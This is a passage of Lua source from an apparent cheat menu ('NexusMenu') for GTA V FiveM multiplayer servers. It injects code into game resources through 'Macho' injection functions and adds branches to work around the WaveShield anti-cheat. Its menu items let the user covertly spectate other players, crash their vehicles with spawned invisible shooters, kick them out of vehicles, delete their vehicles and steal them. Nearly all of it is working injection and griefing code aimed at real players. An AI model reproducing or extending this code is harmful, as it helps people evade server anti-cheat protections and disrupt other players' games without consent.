"adsasdadsadsdasdasadsadsads", string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerFromServerId = _G.GetPlayerFromServerId or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local NetworkSetInSpectatorMode = _G.NetworkSetInSpectatorMode or function(...) end local Wait = _G.Wait or function(...) end local CreateThread = _G.CreateThread or function(...) end -- Simple spectate variables if not _G.simpleSpectate then _G.simpleSpectate = { active = false, targetId = nil, thread = nil } end -- Stop any existing spectate thread if _G.simpleSpectate.thread then _G.simpleSpectate.thread = nil end local targetServerId = %d _G.simpleSpectate.active = true _G.simpleSpectate.targetId = targetServerId -- Start continuous spectate thread _G.simpleSpectate.thread = safeCall(CreateThread, function() while _G.simpleSpectate and _G.simpleSpectate.active do local targetPlayerId = safeCall(GetPlayerFromServerId, targetServerId) if targetPlayerId ~= -1 then local targetPed = safeCall(GetPlayerPed, targetPlayerId) if safeCall(DoesEntityExist, targetPed) then safeCall(NetworkSetInSpectatorMode, true, targetPed) end end safeCall(Wait, 100) end end) ]], player.id)) else VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerFromServerId = _G.GetPlayerFromServerId or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local NetworkSetInSpectatorMode = _G.NetworkSetInSpectatorMode or function(...) end local Wait = _G.Wait or function(...) end local CreateThread = _G.CreateThread or function(...) end -- Simple spectate variables if not _G.simpleSpectate then _G.simpleSpectate = { active = false, targetId = nil, thread = nil } end -- Stop any existing spectate thread if _G.simpleSpectate.thread then _G.simpleSpectate.thread = nil end local targetServerId = %d _G.simpleSpectate.active = true _G.simpleSpectate.targetId = targetServerId -- Start continuous spectate thread _G.simpleSpectate.thread = safeCall(CreateThread, function() while _G.simpleSpectate and _G.simpleSpectate.active do local targetPlayerId = safeCall(GetPlayerFromServerId, targetServerId) if targetPlayerId ~= -1 then local targetPed = safeCall(GetPlayerPed, targetPlayerId) if safeCall(DoesEntityExist, targetPed) then safeCall(NetworkSetInSpectatorMode, true, targetPed) end end safeCall(Wait, 100) end end) ]], player.id)) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Spectating: " .. player.name, type = 'success' })) end --- ("Spectate enabled for:", player.name) break end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for spectating", type = 'warn' })) end return false end else --- ("Stopping spectate mode") -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("adsadsdasdsa") == "started" if waveShieldRunning then -- Use Macho injection for WaveShield MachoInjectResource2(NewThreadNs, "asdasdasdadsads", [[ local function safeCall(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local NetworkSetInSpectatorMode = _G.NetworkSetInSpectatorMode or function(...) end local Wait = _G.Wait or function(...) end local FreezeEntityPosition = _G.FreezeEntityPosition or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end -- Stop spectate if _G.simpleSpectate and _G.simpleSpectate.active then -- Stop the thread first _G.simpleSpectate.active = false -- Give thread time to stop safeCall(Wait, 200) local playerPed = safeCall(PlayerPedId) safeCall(NetworkSetInSpectatorMode, false, playerPed) -- Ensure player is unfrozen and visible safeCall(FreezeEntityPosition, playerPed, false) safeCall(SetEntityVisible, playerPed, true, true) _G.simpleSpectate.targetId = nil _G.simpleSpectate.thread = nil end ]]) else -- Use Macho injection when WaveShield is not running VehicleInject([[ local function safeCall(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local NetworkSetInSpectatorMode = _G.NetworkSetInSpectatorMode or function(...) end local Wait = _G.Wait or function(...) end local FreezeEntityPosition = _G.FreezeEntityPosition or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end -- Stop spectate if _G.simpleSpectate and _G.simpleSpectate.active then -- Stop the thread first _G.simpleSpectate.active = false -- Give thread time to stop safeCall(Wait, 200) local playerPed = safeCall(PlayerPedId) safeCall(NetworkSetInSpectatorMode, false, playerPed) -- Ensure player is unfrozen and visible safeCall(FreezeEntityPosition, playerPed, false) safeCall(SetEntityVisible, playerPed, true, true) _G.simpleSpectate.targetId = nil _G.simpleSpectate.thread = nil end ]]) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Spectate mode disabled", type = 'info' })) end end end } } }, { name = 'Vehicle', submenu = { { label = 'Crash In Vehicle (Risky) [VIP]', type = 'button', canBind = true, bindName = 'Crash in vehicle (semi risky)', onConfirm = function() if not _G["NexusMenuVIPStatus"] then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = "This feature requires VIP!", type = 'error'})) end return end if not selectedPlayerId then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = "No player selected!", type = 'warn'})) end return end for _, player in ipairs(playerList) do if player.id == selectedPlayerId then VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local targetPlayerId = %d local PlayerPedId = _G.PlayerPedId or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local IsPedInAnyVehicle = _G.IsPedInAnyVehicle or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetEntitySpeed = _G.GetEntitySpeed or function(...) end local RequestModel = _G.RequestModel or function(...) end local GetHashKey = _G.GetHashKey or function(...) end local HasModelLoaded = _G.HasModelLoaded or function(...) end local Wait = _G.Wait or Citizen.Wait or function(...) end local CreateVehicle = _G.CreateVehicle or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetEntityInvincible = _G.SetEntityInvincible or function(...) end local AttachEntityToEntityPhysically = _G.AttachEntityToEntityPhysically or function(...) end local SetModelAsNoLongerNeeded = _G.SetModelAsNoLongerNeeded or function(...) end local DeleteEntity = _G.DeleteEntity or function(...) end local CreatePed = _G.CreatePed or function(...) end local FreezeEntityPosition = _G.FreezeEntityPosition or function(...) end local AttachEntityToEntity = _G.AttachEntityToEntity or function(...) end local GetPedBoneCoords = _G.GetPedBoneCoords or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local DeletePed = _G.DeletePed or function(...) end local DetachEntity = _G.DetachEntity or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityHeading = _G.SetEntityHeading or function(...) end local SetTimeout = _G.SetTimeout or Citizen.SetTimeout or function(...) end local InvokeNative = _G.InvokeNative or Citizen.InvokeNative or function(...) end local targetPed = safeCall(GetPlayerPed, targetPlayerId) if targetPed == nil then return end if safeCall(DoesEntityExist, targetPed) and safeCall(IsPedInAnyVehicle, targetPed, false) then local targetVehicle = safeCall(GetVehiclePedIsIn, targetPed, false) if safeCall(DoesEntityExist, targetVehicle) then safeCall(RequestModel, safeCall(GetHashKey, "mp_m_freemode_01")) while not safeCall(HasModelLoaded, safeCall(GetHashKey, "mp_m_freemode_01")) do safeCall(Wait, 0) end local targetCoords = safeCall(GetEntityCoords, targetPed) local shooterPed = safeCall(CreatePed, 4, safeCall(GetHashKey, "mp_m_freemode_01"), targetCoords.x, targetCoords.y, targetCoords.z, 0.0, true, true) safeCall(SetEntityVisible, shooterPed, false, false) safeCall(SetEntityInvincible, shooterPed, true) safeCall(FreezeEntityPosition, shooterPed, true) local ped = safeCall(PlayerPedId) safeCall(AttachEntityToEntity, ped, targetVehicle, -1, 0.0, -2.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) safeCall(Wait, 750) for i = 1, 10 do for _, dir in ipairs({vector3(1,0,0), vector3(-1,0,0), vector3(0,1,0), vector3(0,-1,0)}) do local bCoords = safeCall(GetPedBoneCoords, targetPed, 31086, 0.0, 0.0, 0.0) safeCall(InvokeNative, 0xE3A7742E0B7A2F8B, bCoords.x + dir.x, bCoords.y + dir.y, bCoords.z + dir.z, bCoords.x, bCoords.y, bCoords.z, 0, true, safeCall(GetHashKey, "weapon_stungun_mp"), shooterPed, false, true, 1000.0, targetVehicle, true, false, true) end safeCall(Wait, 50) end local lastCoords = safeCall(GetEntityCoords, targetVehicle) local lastHeading = safeCall(GetEntityHeading, targetVehicle) safeCall(DeletePed, shooterPed) safeCall(SetModelAsNoLongerNeeded, safeCall(GetHashKey, "mp_m_freemode_01")) safeCall(DetachEntity, ped, targetVehicle, false) safeCall(Wait, 100) safeCall(SetEntityCoords, ped, lastCoords.x, lastCoords.y, lastCoords.z, false, false, false, false) safeCall(SetEntityHeading, ped, lastHeading) end end ]], player.localId)) if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = "Crashed vehicle of " .. player.name .. "!", type = 'success'})) end break end end end }, { label = 'Kick From Vehicle', type = 'scroll', selected = 1, canBind = true, bindName = 'Kick from Vehicle', options = { {label = 'Method 1'}, {label = 'Method 2'} }, onConfirm = function(selectedOption) if not selectedPlayerId then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = "No player selected for trolling!", type = 'warn'})) end return end for _, player in ipairs(playerList) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if not DoesEntityExist(targetPed) then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = "Player ped not found: " .. player.name, type = 'error'})) end return end local targetVehicle = GetVehiclePedIsIn(targetPed, false) if not targetVehicle or targetVehicle == 0 then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = player.name .. " is not in a vehicle!", type = 'error'})) end return end if selectedOption.label == 'Method 1' then SetPedConfigFlag(PlayerPedId(), 342, false) SetPedConfigFlag(PlayerPedId(), 252, true) SetPedConfigFlag(PlayerPedId(), 141, true) SetPedConfigFlag(PlayerPedId(), 144, true) VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local TaskEnterVehicle = _G.TaskEnterVehicle or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local Wait = _G.Wait or function(...) end local CreateThread = _G.CreateThread or function(...) end safeCall(CreateThread, function() local vehicle = safeCall(GetVehiclePedIsIn, safeCall(GetPlayerPed, %d), false) if vehicle and safeCall(DoesEntityExist, vehicle) then local playerCoords = safeCall(GetEntityCoords, safeCall(PlayerPedId)) local ped = safeCall(PlayerPedId) safeCall(TaskEnterVehicle, ped, vehicle, 1, -1, 2.0, 8, 0) safeCall(Wait, 100) safeCall(SetEntityCoords, ped, playerCoords.x, playerCoords.y, playerCoords.z, false, false, false, true) safeCall(ClearPedTasksImmediately, ped) end end) ]], player.localId)) elseif selectedOption.label == 'Method 2' then SetPedConfigFlag(PlayerPedId(), 342, false) SetPedConfigFlag(PlayerPedId(), 252, true) SetPedConfigFlag(PlayerPedId(), 141, true) SetPedConfigFlag(PlayerPedId(), 144, true) VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetEntityModel = _G.GetEntityModel or function(...) end local GetVehicleModelNumberOfSeats = _G.GetVehicleModelNumberOfSeats or function(...) end local GetPedInVehicleSeat = _G.GetPedInVehicleSeat or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetGameTimer = _G.GetGameTimer or function(...) end local NetworkCreateSynchronisedScene = _G.NetworkCreateSynchronisedScene or function(...) end local NetworkAddPedToSynchronisedSceneWithIk = _G.NetworkAddPedToSynchronisedSceneWithIk or function(...) end local NetworkStartSynchronisedScene = _G.NetworkStartSynchronisedScene or function(...) end local NetworkStopSynchronisedScene = _G.NetworkStopSynchronisedScene or function(...) end local RequestAnimDict = _G.RequestAnimDict or function(...) end local HasAnimDictLoaded = _G.HasAnimDictLoaded or function(...) end local IsPedInVehicle = _G.IsPedInVehicle or function(...) end local DeleteEntity = _G.DeleteEntity or function(...) end local Wait = _G.Wait or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local FreezeEntityPosition = _G.FreezeEntityPosition or function(...) end local TaskEnterVehicle = _G.TaskEnterVehicle or function(...) end local TaskLeaveAnyVehicle = _G.TaskLeaveAnyVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local SetEntityCoordsNoOffset = _G.SetEntityCoordsNoOffset or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local SetEntityInvincible = _G.SetEntityInvincible or function(...) end local SetPedCanRagdoll = _G.SetPedCanRagdoll or function(...) end local SetPedConfigFlag = _G.SetPedConfigFlag or function(...) end local ped = safeCall(GetPlayerPed, %d) local pedvehicle = safeCall(GetVehiclePedIsIn, ped, false) local seat = -2 if pedvehicle ~= 0 then for i = -1, safeCall(GetVehicleModelNumberOfSeats, safeCall(GetEntityModel, pedvehicle)) - 2 do if safeCall(GetPedInVehicleSeat, pedvehicle, i) == ped then seat = i break end end end local lastCoords = safeCall(GetEntityCoords, safeCall(PlayerPedId)) local animDict = "anim@mp_player_intcelebrationfemale@uncle_disco" local animName = "uncle_disco" safeCall(RequestAnimDict, animDict) while not safeCall(HasAnimDictLoaded, animDict) do safeCall(Wait, 0) end local coords = safeCall(GetEntityCoords, ped) local heading = safeCall(GetEntityHeading, ped) local startTime = safeCall(GetGameTimer) local scene = safeCall(NetworkCreateSynchronisedScene, coords.x, coords.y, coords.z, 0.0, 0.0, heading, 2, true, false, 1065353216, 0, 1.3) safeCall(NetworkAddPedToSynchronisedSceneWithIk, ped, scene, animDict, animName, 2.0, -2.0, -1, 1, 0, false, 0) safeCall(NetworkStartSynchronisedScene, scene) safeCall(DeleteEntity, ped) safeCall(SetEntityVisible, safeCall(PlayerPedId), false, false) safeCall(FreezeEntityPosition, safeCall(PlayerPedId), true) safeCall(TaskEnterVehicle, safeCall(PlayerPedId), pedvehicle, 4, seat, 4.0, 8) safeCall(NetworkStopSynchronisedScene, scene) while not safeCall(IsPedInVehicle, ped, pedvehicle, true) and (safeCall(GetGameTimer) - startTime) < 2000 do safeCall(Wait, 0) end safeCall(Wait, 1) safeCall(TaskLeaveAnyVehicle, safeCall(PlayerPedId)) safeCall(ClearPedTasks, safeCall(PlayerPedId)) safeCall(ClearPedTasksImmediately, safeCall(PlayerPedId)) safeCall(Wait, 100) safeCall(SetEntityCoordsNoOffset, safeCall(PlayerPedId), lastCoords.x, lastCoords.y, lastCoords.z, false, false, false, false) safeCall(FreezeEntityPosition, safeCall(PlayerPedId), false) safeCall(ClearPedTasks, safeCall(PlayerPedId)) safeCall(ClearPedTasksImmediately, safeCall(PlayerPedId)) safeCall(SetEntityVisible, safeCall(PlayerPedId), true, true) safeCall(SetEntityCollision, safeCall(PlayerPedId), true, true) safeCall(SetEntityInvincible, safeCall(PlayerPedId), false) safeCall(SetPedCanRagdoll, safeCall(PlayerPedId), true) safeCall(SetPedConfigFlag, safeCall(PlayerPedId), 32, false) safeCall(Wait, 50) local syncCoords = safeCall(GetEntityCoords, safeCall(PlayerPedId)) safeCall(SetEntityCoordsNoOffset, safeCall(PlayerPedId), syncCoords.x + 0.1, syncCoords.y + 0.1, syncCoords.z, false, false, false, false) safeCall(Wait, 50) safeCall(SetEntityCoordsNoOffset, safeCall(PlayerPedId), syncCoords.x - 0.1, syncCoords.y - 0.1, syncCoords.z, false, false, false, false) safeCall(Wait, 50) safeCall(SetEntityCoordsNoOffset, safeCall(PlayerPedId), lastCoords.x, lastCoords.y, lastCoords.z, false, false, false, false) safeCall(Wait, 200) safeCall(FreezeEntityPosition, safeCall(PlayerPedId), false) safeCall(SetEntityVisible, safeCall(PlayerPedId), true, true) safeCall(ClearPedTasksImmediately, safeCall(PlayerPedId)) safeCall(Wait, 100) ]], player.localId)) end if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = "Kicked " .. player.name .. " from vehicle!", type = 'success'})) end break end end end }, { label = 'Delete Vehicle', type = 'scroll', selected = 1, canBind = true, bindName = 'Delete Vehicle', options = { {label = 'Method 1'}, {label = 'Method 2'} }, onConfirm = function(selectedOption) if not selectedPlayerId then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = "No player selected for trolling!", type = 'warn'})) end return end for _, player in ipairs(playerList) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if not DoesEntityExist(targetPed) then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = "Player ped not found: " .. player.name, type = 'error'})) end return end local targetVehicle = GetVehiclePedIsIn(targetPed, false) if not targetVehicle or targetVehicle == 0 then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = player.name .. " is not in a vehicle!", type = 'error'})) end return end if selectedOption.label == 'Method 1' then SetPedConfigFlag(PlayerPedId(), 342, false) SetPedConfigFlag(PlayerPedId(), 252, true) SetPedConfigFlag(PlayerPedId(), 141, true) SetPedConfigFlag(PlayerPedId(), 144, true) VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local TaskEnterVehicle = _G.TaskEnterVehicle or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local DeleteEntity = _G.DeleteEntity or function(...) end local Wait = _G.Wait or function(...) end local CreateThread = _G.CreateThread or function(...) end safeCall(CreateThread, function() local vehicle = safeCall(GetVehiclePedIsIn, safeCall(GetPlayerPed, %d), false) if vehicle and safeCall(DoesEntityExist, vehicle) then local playerCoords = safeCall(GetEntityCoords, safeCall(PlayerPedId)) local ped = safeCall(PlayerPedId) safeCall(TaskEnterVehicle, ped, vehicle, 1, -1, 2.0, 8, 0) safeCall(Wait, 100) safeCall(SetEntityCoords, ped, playerCoords.x, playerCoords.y, playerCoords.z, false, false, false, true) safeCall(ClearPedTasksImmediately, ped) safeCall(Wait, 200) safeCall(SetEntityAsMissionEntity, vehicle, true, true) safeCall(NetworkRequestControlOfEntity, vehicle) safeCall(Wait, 100) safeCall(DeleteEntity, vehicle) end end) ]], player.localId)) elseif selectedOption.label == 'Method 2' then SetPedConfigFlag(PlayerPedId(), 342, false) SetPedConfigFlag(PlayerPedId(), 252, true) SetPedConfigFlag(PlayerPedId(), 141, true) SetPedConfigFlag(PlayerPedId(), 144, true) VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetEntityModel = _G.GetEntityModel or function(...) end local GetVehicleModelNumberOfSeats = _G.GetVehicleModelNumberOfSeats or function(...) end local GetPedInVehicleSeat = _G.GetPedInVehicleSeat or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetGameTimer = _G.GetGameTimer or function(...) end local NetworkCreateSynchronisedScene = _G.NetworkCreateSynchronisedScene or function(...) end local NetworkAddPedToSynchronisedSceneWithIk = _G.NetworkAddPedToSynchronisedSceneWithIk or function(...) end local NetworkStartSynchronisedScene = _G.NetworkStartSynchronisedScene or function(...) end local NetworkStopSynchronisedScene = _G.NetworkStopSynchronisedScene or function(...) end local RequestAnimDict = _G.RequestAnimDict or function(...) end local HasAnimDictLoaded = _G.HasAnimDictLoaded or function(...) end local IsPedInVehicle = _G.IsPedInVehicle or function(...) end local DeleteEntity = _G.DeleteEntity or function(...) end local Wait = _G.Wait or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local FreezeEntityPosition = _G.FreezeEntityPosition or function(...) end local TaskEnterVehicle = _G.TaskEnterVehicle or function(...) end local TaskLeaveAnyVehicle = _G.TaskLeaveAnyVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local SetEntityCoordsNoOffset = _G.SetEntityCoordsNoOffset or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local SetEntityInvincible = _G.SetEntityInvincible or function(...) end local SetPedCanRagdoll = _G.SetPedCanRagdoll or function(...) end local SetPedConfigFlag = _G.SetPedConfigFlag or function(...) end local SetEntityAsMissionEntity = _G.SetEntityAsMissionEntity or function(...) end local NetworkRequestControlOfEntity = _G.NetworkRequestControlOfEntity or function(...) end local ped = safeCall(GetPlayerPed, %d) local pedvehicle = safeCall(GetVehiclePedIsIn, ped, false) local seat = -2 if pedvehicle ~= 0 then for i = -1, safeCall(GetVehicleModelNumberOfSeats, safeCall(GetEntityModel, pedvehicle)) - 2 do if safeCall(GetPedInVehicleSeat, pedvehicle, i) == ped then seat = i break end end end local lastCoords = safeCall(GetEntityCoords, safeCall(PlayerPedId)) local animDict = "anim@mp_player_intcelebrationfemale@uncle_disco" local animName = "uncle_disco" safeCall(RequestAnimDict, animDict) while not safeCall(HasAnimDictLoaded, animDict) do safeCall(Wait, 0) end local coords = safeCall(GetEntityCoords, ped) local heading = safeCall(GetEntityHeading, ped) local startTime = safeCall(GetGameTimer) local scene = safeCall(NetworkCreateSynchronisedScene, coords.x, coords.y, coords.z, 0.0, 0.0, heading, 2, true, false, 1065353216, 0, 1.3) safeCall(NetworkAddPedToSynchronisedSceneWithIk, ped, scene, animDict, animName, 2.0, -2.0, -1, 1, 0, false, 0) safeCall(NetworkStartSynchronisedScene, scene) safeCall(DeleteEntity, ped) safeCall(SetEntityVisible, safeCall(PlayerPedId), false, false) safeCall(FreezeEntityPosition, safeCall(PlayerPedId), true) safeCall(TaskEnterVehicle, safeCall(PlayerPedId), pedvehicle, 4, seat, 4.0, 8) safeCall(NetworkStopSynchronisedScene, scene) while not safeCall(IsPedInVehicle, ped, pedvehicle, true) and (safeCall(GetGameTimer) - startTime) < 2000 do safeCall(Wait, 0) end safeCall(Wait, 1) safeCall(TaskLeaveAnyVehicle, safeCall(PlayerPedId)) safeCall(ClearPedTasks, safeCall(PlayerPedId)) safeCall(ClearPedTasksImmediately, safeCall(PlayerPedId)) safeCall(Wait, 100) safeCall(SetEntityCoordsNoOffset, safeCall(PlayerPedId), lastCoords.x, lastCoords.y, lastCoords.z, false, false, false, false) safeCall(FreezeEntityPosition, safeCall(PlayerPedId), false) safeCall(ClearPedTasks, safeCall(PlayerPedId)) safeCall(ClearPedTasksImmediately, safeCall(PlayerPedId)) safeCall(SetEntityVisible, safeCall(PlayerPedId), true, true) safeCall(SetEntityCollision, safeCall(PlayerPedId), true, true) safeCall(SetEntityInvincible, safeCall(PlayerPedId), false) safeCall(SetPedCanRagdoll, safeCall(PlayerPedId), true) safeCall(SetPedConfigFlag, safeCall(PlayerPedId), 32, false) safeCall(Wait, 50) local syncCoords = safeCall(GetEntityCoords, safeCall(PlayerPedId)) safeCall(SetEntityCoordsNoOffset, safeCall(PlayerPedId), syncCoords.x + 0.1, syncCoords.y + 0.1, syncCoords.z, false, false, false, false) safeCall(Wait, 50) safeCall(SetEntityCoordsNoOffset, safeCall(PlayerPedId), syncCoords.x - 0.1, syncCoords.y - 0.1, syncCoords.z, false, false, false, false) safeCall(Wait, 50) safeCall(SetEntityCoordsNoOffset, safeCall(PlayerPedId), lastCoords.x, lastCoords.y, lastCoords.z, false, false, false, false) safeCall(Wait, 200) safeCall(FreezeEntityPosition, safeCall(PlayerPedId), false) safeCall(ClearPedTasksImmediately, safeCall(PlayerPedId)) safeCall(Wait, 100) safeCall(Wait, 200) safeCall(SetEntityAsMissionEntity, pedvehicle, true, true) safeCall(NetworkRequestControlOfEntity, pedvehicle) safeCall(Wait, 100) safeCall(DeleteEntity, pedvehicle) ]], player.localId)) end if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = "Kicked " .. player.name .. " and deleted their vehicle!", type = 'success'})) end break end end end }, { label = 'Steal Vehicle', type = 'scroll', selected = 1, canBind = true, bindName = 'Steal Vehicle', options = { {label = 'Method 1'}, {label = 'Method 2'} }, onConfirm = function(selectedOption) if not selectedPlayerId then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = "No player selected for trolling!", type = 'warn'})) end return end for _, player in ipairs(playerList) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if not DoesEntityExist(targetPed) then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = "Player ped not found: " .. player.name, type = 'error'})) end return end local targetVehicle = GetVehiclePedIsIn(targetPed, false) if not targetVehicle or targetVehicle == 0 then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = player.name .. " is not in a vehicle!", type = 'error'})) end return end if selectedOption.label == 'Method 1' then SetPedConfigFlag(PlayerPedId(), 342, false) SetPedConfigFlag(PlayerPedId(), 252, true) SetPedConfigFlag(PlayerPedId(), 141, true) SetPedConfigFlag(PlayerPedId(), 144, true) VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local TaskEnterVehicle = _G.TaskEnterVehicle or function(...) end local CreateThread = _G.CreateThread or function(...) end safeCall(CreateThread, function() local vehicle = safeCall(GetVehiclePedIsIn, safeCall(GetPlayerPed, %d), false) if vehicle and safeCall(DoesEntityExist, vehicle) then safeCall(TaskEnterVehicle, safeCall(PlayerPedId), vehicle, 1, -1, 2.0, 8, 0) end end) ]], player.localId)) elseif selectedOption.label == 'Method 2' then SetPedConfigFlag(PlayerPedId(), 342, false) SetPedConfigFlag(PlayerPedId(), 252, true) SetPedConfigFlag(PlayerPedId(), 141, true) SetPedConfigFlag(PlayerPedId(), 144, true) VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerPed = _G.GetPlayerPed or function(...) end local GetVehiclePedIsIn = _G.GetVehiclePedIsIn or function(...) end local GetEntityModel = _G.GetEntityModel or function(...) end local GetVehicleModelNumberOfSeats = _G.GetVehicleModelNumberOfSeats or function(...) end local GetPedInVehicleSeat = _G.GetPedInVehicleSeat or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local GetGameTimer = _G.GetGameTimer or function(...) end local NetworkCreateSynchronisedScene = _G.NetworkCreateSynchronisedScene or function(...) end local NetworkAddPedToSynchronisedSceneWithIk = _G.NetworkAddPedToSynchronisedSceneWithIk or function(...) end local NetworkStartSynchronisedScene = _G.NetworkStartSynchronisedScene or function(...) end local NetworkStopSynchronisedScene = _G.NetworkStopSynchronisedScene or function(...) end local RequestAnimDict = _G.RequestAnimDict or function(...) end local HasAnimDictLoaded = _G.HasAnimDictLoaded or function(...) end local IsPedInVehicle = _G.IsPedInVehicle or function(...) end local DeleteEntity = _G.DeleteEntity or function(...) end local Wait = _G.Wait or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local FreezeEntityPosition = _G.FreezeEntityPosition or function(...) end local TaskEnterVehicle = _G.TaskEnterVehicle or function(...) end local TaskLeaveAnyVehicle = _G.TaskLeaveAnyVehicle or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local ClearPedTasksImmediately = _G.ClearPedTasksImmediately or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local SetEntityInvincible = _G.SetEntityInvincible or function(...) end local SetPedCanRagdoll = _G.SetPedCanRagdoll or function(...) end local SetPedConfigFlag = _G.SetPedConfigFlag or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local ped = safeCall(GetPlayerPed, %d) local pedvehicle = safeCall(GetVehiclePedIsIn, ped, false) local seat = -2 if pedvehicle ~= 0 then for i = -1, safeCall(GetVehicleModelNumberOfSeats, safeCall(GetEntityModel, pedvehicle)) - 2 do if safeCall(GetPedInVehicleSeat, pedvehicle, i) == ped then seat = i break end end end local animDict = "anim@mp_player_intcelebrationfemale@uncle_disco" local animName = "uncle_disco" safeCall(RequestAnimDict, animDict) while not safeCall(HasAnimDictLoaded, animDict) do safeCall(Wait, 0) end local coords = safeCall(GetEntityCoords, ped) local heading = safeCall(GetEntityHeading, ped) local startTime = safeCall(GetGameTimer) local scene = safeCall(NetworkCreateSynchronisedScene, coords.x, coords.y, coords.z, 0.0, 0.0, heading, 2, true, false, 1065353216, 0, 1.3) safeCall(NetworkAddPedToSynchronisedSceneWithIk, ped, scene, animDict, animName, 2.0, -2.0, -1, 1, 0, false, 0) safeCall(NetworkStartSynchronisedScene, scene) safeCall(DeleteEntity, ped) safeCall(SetEntityVisible, safeCall(PlayerPedId), false, false) safeCall(FreezeEntityPosition, safeCall(PlayerPedId), true) safeCall(TaskEnterVehicle, safeCall(PlayerPedId), pedvehicle, 4, seat, 4.0, 8) 